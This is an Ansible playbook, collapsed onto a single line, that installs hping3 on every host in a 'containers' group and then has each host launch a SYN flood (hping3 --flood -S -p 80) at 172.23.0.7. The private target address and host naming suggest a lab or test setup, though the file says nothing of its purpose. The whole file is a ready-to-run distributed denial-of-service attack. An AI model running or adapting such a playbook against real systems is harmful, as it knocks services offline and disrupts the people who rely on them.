--- - name: installation of hping3 to each host hosts: containers remote_user: docker become: yes tasks: - name: apt-get update apt: update_cache: yes - name: install hping3 apt: name: hping3 state: latest - name: SYN flood via hping3 command: hping3 -V -c 20000 -d 120 -S -p 80 --flood 172.23.0.7